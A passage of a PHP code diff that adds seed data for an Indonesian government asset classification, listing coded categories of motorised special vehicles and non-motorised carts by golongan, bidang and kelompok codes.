'DALHURA', + ], + [ + 'id_aset' => 685, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'KENDARAAN BERMOTOR ANGKUTAN BARANG LAINNYA', + ], + [ + 'id_aset' => 686, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'KENDARAAN BERMOTOR BERODA DUA', + ], + [ + 'id_aset' => 687, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'SEPEDA MOTOR', + ], + [ + 'id_aset' => 688, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'SCOOTER', + ], + [ + 'id_aset' => 689, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'SEPEDA MOTOR PERPUSTAKAAN KELILING', + ], + [ + 'id_aset' => 690, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'SEPEDA MOTOR PATROLI', + ], + [ + 'id_aset' => 691, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '005', + 'nama' => 'SEPEDA MOTOR PENGAWALAN', + ], + [ + 'id_aset' => 692, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'KENDARAAN BERMOTOR BERODA DUA LAINNYA', + ], + [ + 'id_aset' => 693, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'KENDARAAN BERMOTOR KHUSUS', + ], + [ + 'id_aset' => 694, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'MOBIL AMBULANCE', + ], + [ + 'id_aset' => 695, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'MOBIL JENAZAH', + ], + [ + 'id_aset' => 696, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'MOBIL UNIT PENERANGAN DARAT', + ], + [ + 'id_aset' => 697, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'MOBIL PEMADAM KEBAKARAN', + ], + [ + 'id_aset' => 698, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '005', + 'nama' => 'MOBIL TINJA', + ], + [ + 'id_aset' => 699, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '006', + 'nama' => 'MOBIL TANGKI AIR', + ], + [ + 'id_aset' => 700, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '007', + 'nama' => 'MOBIL UNIT MONITORING FREKWENSI', + ], + [ + 'id_aset' => 701, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '008', + 'nama' => 'MOBIL UNIT PERPUSTAKAAN KELILING', + ], + [ + 'id_aset' => 702, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '009', + 'nama' => 'MOBIL UNIT VISUAL MINI (MUVIANI)', + ], + [ + 'id_aset' => 703, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '010', + 'nama' => 'MOBIL UNIT SATELITE LINK VAN', + ], + [ + 'id_aset' => 704, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '011', + 'nama' => 'MOBIL UNIT PANGGUNG', + ], + [ + 'id_aset' => 705, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '012', + 'nama' => 'MOBIL UNIT PAMERAN', + ], + [ + 'id_aset' => 706, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '013', + 'nama' => 'OUT SIDE BROAD CAST VAN RADIO', + ], + [ + 'id_aset' => 707, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '014', + 'nama' => 'OUT SIDE BROAD CAST VAN TELEVISI', + ], + [ + 'id_aset' => 708, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '015', + 'nama' => 'MOBIL UNIT PRODUKSI FILM', + ], + [ + 'id_aset' => 709, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '016', + 'nama' => 'MOBIL UNIT PRODUKSI TELEVISI', + ], + [ + 'id_aset' => 710, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '017', + 'nama' => 'MOBIL UNIT PRODUKSI CINERAMA', + ], + [ + 'id_aset' => 711, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '018', + 'nama' => 'MOBIL UNIT KESEHATAN MASYARAKAT', + ], + [ + 'id_aset' => 712, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '019', + 'nama' => 'MOBIL UNIT KESEHATAN HEWAN', + ], + [ + 'id_aset' => 713, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '020', + 'nama' => 'MOBIL UNIT TAHANAN', + ], + [ + 'id_aset' => 714, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '021', + 'nama' => 'MOBIL UNIT PENGANGKUT UANG', + ], + [ + 'id_aset' => 715, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '022', + 'nama' => 'TRUCK SAMPAH', + ], + [ + 'id_aset' => 716, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '023', + 'nama' => 'MOBIL TANGKI BAHAN BAKAR', + ], + [ + 'id_aset' => 717, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '024', + 'nama' => 'MOBIL UNIT RONTGEN', + ], + [ + 'id_aset' => 718, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '025', + 'nama' => 'MOBIL UNIT REHABILITASI SOSIAL KELILING', + ], + [ + 'id_aset' => 719, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '026', + 'nama' => 'BOMP TRAILER', + ], + [ + 'id_aset' => 720, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '027', + 'nama' => 'KENDARAAN KLINIK', + ], + [ + 'id_aset' => 721, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '028', + 'nama' => 'MOBIL UNIT PENGANGKUT LIMBAH RADIO AKTIF', + ], + [ + 'id_aset' => 722, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '029', + 'nama' => 'MOBIL TRANFUSI DARAH', + ], + [ + 'id_aset' => 723, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '030', + 'nama' => 'KENDARAAN TIM PEMELIHARAAN', + ], + [ + 'id_aset' => 724, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '031', + 'nama' => 'MOBIL PENARIK (UNIMOG)', + ], + [ + 'id_aset' => 725, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '032', + 'nama' => 'KENDARAAN SATMOBEK/SATMOBENG/SATMOMAS', + ], + [ + 'id_aset' => 726, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '033', + 'nama' => 'MOBIL WORK SHOP/SERVICES', + ], + [ + 'id_aset' => 727, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '034', + 'nama' => 'KENDARAAN DEREK', + ], + [ + 'id_aset' => 728, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '035', + 'nama' => 'MOBIL UNIT KHUSUS ALJIHANDAK', + ], + [ + 'id_aset' => 729, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '036', + 'nama' => 'AIRCRAFT AIR CONDITIONING', + ], + [ + 'id_aset' => 730, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '037', + 'nama' => 'KENDARAAN GIRAFLE RADAR', + ], + [ + 'id_aset' => 731, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '038', + 'nama' => 'MOBIL PERS VAN', + ], + [ + 'id_aset' => 732, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '039', + 'nama' => 'KENDARAAN UNIT BEDAH', + ], + [ + 'id_aset' => 733, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '040', + 'nama' => 'MOBILE FLOODLIGHT', + ], + [ + 'id_aset' => 734, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '041', + 'nama' => 'KENDARAAN PENGANGKUT TANK', + ], + [ + 'id_aset' => 735, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '042', + 'nama' => 'CRASH CAR', + ], + [ + 'id_aset' => 736, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '043', + 'nama' => 'KENDARAAN WATER CANON', + ], + [ + 'id_aset' => 737, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '044', + 'nama' => 'FOAM VEHICLE', + ], + [ + 'id_aset' => 738, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '045', + 'nama' => 'KENDARAAN TOILET', + ], + [ + 'id_aset' => 739, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '046', + 'nama' => 'RAPID INVENTION VEHICLE', + ], + [ + 'id_aset' => 740, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '047', + 'nama' => 'KENDARAAN GAS AIRMATA', + ], + [ + 'id_aset' => 741, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '048', + 'nama' => 'KENDARAAN TAKTIS', + ], + [ + 'id_aset' => 742, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '049', + 'nama' => 'KENDARAAN VIP (ANTI PELURU)', + ], + [ + 'id_aset' => 743, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '050', + 'nama' => 'KENDARAAN TANGGA PESAWAT', + ], + [ + 'id_aset' => 744, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '051', + 'nama' => 'KENDARAAN METEO', + ], + [ + 'id_aset' => 745, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '052', + 'nama' => 'KENDARAAN SWEEPER', + ], + [ + 'id_aset' => 746, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '053', + 'nama' => 'KENDARAAN KAMAR SANDI', + ], + [ + 'id_aset' => 747, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '054', + 'nama' => 'KENDARAAN JAMMING FREKUENSI', + ], + [ + 'id_aset' => 748, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '055', + 'nama' => 'KENDARAAN MONITORING SINYAL', + ], + [ + 'id_aset' => 749, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '056', + 'nama' => 'MOBIL DAPUR LAPANGAN', + ], + [ + 'id_aset' => 750, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '057', + 'nama' => 'MOBIL PENARIK BARRIER', + ], + [ + 'id_aset' => 751, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '058', + 'nama' => 'MOBIL OPERASIONAL PJR', + ], + [ + 'id_aset' => 752, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '059', + 'nama' => 'AUTOMATIC UNGUIDED VEHICLE (AUGV)', + ], + [ + 'id_aset' => 753, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '060', + 'nama' => 'RESCUE CAR', + ], + [ + 'id_aset' => 754, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '061', + 'nama' => 'RAPID DEPLOYMENT LAND SAR', + ], + [ + 'id_aset' => 755, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '062', + 'nama' => 'RESCUE TRUCK', + ], + [ + 'id_aset' => 756, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '063', + 'nama' => 'MONILOG (MOBIL LOGISTIK/ PERSONIL)', + ], + [ + 'id_aset' => 757, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '064', + 'nama' => 'MOBIL LATIH', + ], + [ + 'id_aset' => 758, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '065', + 'nama' => 'RAN SWITCH WAGON', + ], + [ + 'id_aset' => 759, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '066', + 'nama' => 'RAN CACDRI WAGON', + ], + [ + 'id_aset' => 760, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '067', + 'nama' => 'RAN TRAKTOR', + ], + [ + 'id_aset' => 761, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '068', + 'nama' => 'RAN TANGKI', + ], + [ + 'id_aset' => 762, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '069', + 'nama' => 'RAN ZAT ASAM', + ], + [ + 'id_aset' => 763, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '070', + 'nama' => 'RAN PENYAPU LANDASAN', + ], + [ + 'id_aset' => 764, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '071', + 'nama' => 'RAN PANDU PESAWAT', + ], + [ + 'id_aset' => 765, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '072', + 'nama' => 'RAN PENARIK PESAWAT', + ], + [ + 'id_aset' => 766, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '073', + 'nama' => 'RAN PENYAPU HANGGAR', + ], + [ + 'id_aset' => 767, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '074', + 'nama' => 'RAN DRUG CHUTE', + ], + [ + 'id_aset' => 768, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '075', + 'nama' => 'RAN PEMBANGKIT TENAGA', + ], + [ + 'id_aset' => 769, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '076', + 'nama' => 'RAN CRIME SQUID', + ], + [ + 'id_aset' => 770, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '077', + 'nama' => 'RAN WEAPON CARRIER', + ], + [ + 'id_aset' => 771, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '078', + 'nama' => 'RAN LABORATORIUM / UJI COBA', + ], + [ + 'id_aset' => 772, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '079', + 'nama' => 'RAN KANTIN', + ], + [ + 'id_aset' => 773, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '080', + 'nama' => 'RAN PATROLI', + ], + [ + 'id_aset' => 774, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '081', + 'nama' => 'RAN JEEP KOMMAB', + ], + [ + 'id_aset' => 775, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '082', + 'nama' => 'RAN RECOVERY', + ], + [ + 'id_aset' => 776, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '083', + 'nama' => 'RAN PENGISI BB PESAWAT', + ], + [ + 'id_aset' => 777, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '084', + 'nama' => 'RAN WRECKER', + ], + [ + 'id_aset' => 778, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '085', + 'nama' => 'RAN FORKLIP', + ], + [ + 'id_aset' => 779, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '086', + 'nama' => 'MOBIL PATROLI', + ], + [ + 'id_aset' => 780, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '087', + 'nama' => 'KENDARAAN APC', + ], + [ + 'id_aset' => 781, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '088', + 'nama' => 'KENDARAAN DARE V', + ], + [ + 'id_aset' => 782, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '089', + 'nama' => 'KENDARAAN/MOBIL PENGAWALAN', + ], + [ + 'id_aset' => 783, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '090', + 'nama' => 'MOBIL IRUP', + ], + [ + 'id_aset' => 784, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '091', + 'nama' => 'MOBIL KOMLEK POLRI', + ], + [ + 'id_aset' => 785, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '092', + 'nama' => 'MOBIL UNIT TKP', + ], + [ + 'id_aset' => 786, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '093', + 'nama' => 'MOBIL UNIT LAKA LANTAS', + ], + [ + 'id_aset' => 787, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '094', + 'nama' => 'MOBIL UNIT IDENTIFIKASI', + ], + [ + 'id_aset' => 788, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '095', + 'nama' => 'MOBIL UNIT LABFOR', + ], + [ + 'id_aset' => 789, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '096', + 'nama' => 'MOBIL UNIT PENERANGAN POLRI', + ], + [ + 'id_aset' => 790, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '097', + 'nama' => 'MOBIL UNIT DEREK', + ], + [ + 'id_aset' => 791, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '098', + 'nama' => 'MOBIL UNIT SATWA', + ], + [ + 'id_aset' => 792, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '099', + 'nama' => 'RANTIS PHH', + ], + [ + 'id_aset' => 793, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '100', + 'nama' => 'KENDARAAN POS POLISI MOBILE', + ], + [ + 'id_aset' => 794, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '101', + 'nama' => 'MOBIL UNIT ALSUS JIHANDAK', + ], + [ + 'id_aset' => 795, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '102', + 'nama' => 'MOBIL GOLFCAR', + ], + [ + 'id_aset' => 796, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '103', + 'nama' => 'RANTIS RESCUE SAMAPTA', + ], + [ + 'id_aset' => 797, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '104', + 'nama' => 'RANSUS SATWA ANJING TYPE KECIL', + ], + [ + 'id_aset' => 798, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '105', + 'nama' => 'RANSUS SATWA ANJING TYPE SEDANG', + ], + [ + 'id_aset' => 799, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '106', + 'nama' => 'RANSUS SATWA ANJING TYPE BESAR', + ], + [ + 'id_aset' => 800, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '107', + 'nama' => 'RANSUS SATWA KUDA TYPE SEDANG', + ], + [ + 'id_aset' => 801, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '108', + 'nama' => 'RANSUS SATWA KUDA TYPE BESAR', + ], + [ + 'id_aset' => 802, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '109', + 'nama' => 'TRAILER KUDA', + ], + [ + 'id_aset' => 803, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'KENDARAAN BERMOTOR KHUSUS LAINNYA', + ], + [ + 'id_aset' => 804, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN DARAT BERMOTOR LAINNYA', + ], + [ + 'id_aset' => 805, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT ANGKUTAN DARAT BERMOTOR LAINNYA', + ], + [ + 'id_aset' => 806, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT ANGKUTAN DARAT TAK BERMOTOR', + ], + [ + 'id_aset' => 807, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'KENDARAAN TAK BERMOTOR ANGKUTAN BARANG', + ], + [ + 'id_aset' => 808, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'GEROBAK TARIK', + ], + [ + 'id_aset' => 809, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'GEROBAK DORONG', + ], + [ + 'id_aset' => 810, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'CARAVAN', + ], + [ + 'id_aset' => 811, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'LORI DORONG', + ], + [ + 'id_aset' => 812, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'TRAILER', + ], + [ + 'id_aset' => 813, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'CONTAINER DOLLY', + ], + [ + 'id_aset' => 814, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'PALLET DOLLY', + ], + [ + 'id_aset' => 815, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'BAGGAGE AND MAIL CART', + ], + [ + 'id_aset' => 816, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'BAGGAGE TROLLY', + ], + [ + 'id_aset' => 817, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '010', + 'nama' => 'MEJA DORONG SAJI/TROLLEY SAJI', + ], + [ + 'id_aset' => 818, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '011', + 'nama' => 'RODA DUA BERINSULASI', + ], + [ + 'id_aset' => 819, + 'golongan' => '3', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '012', + 'nama' => 'RODA 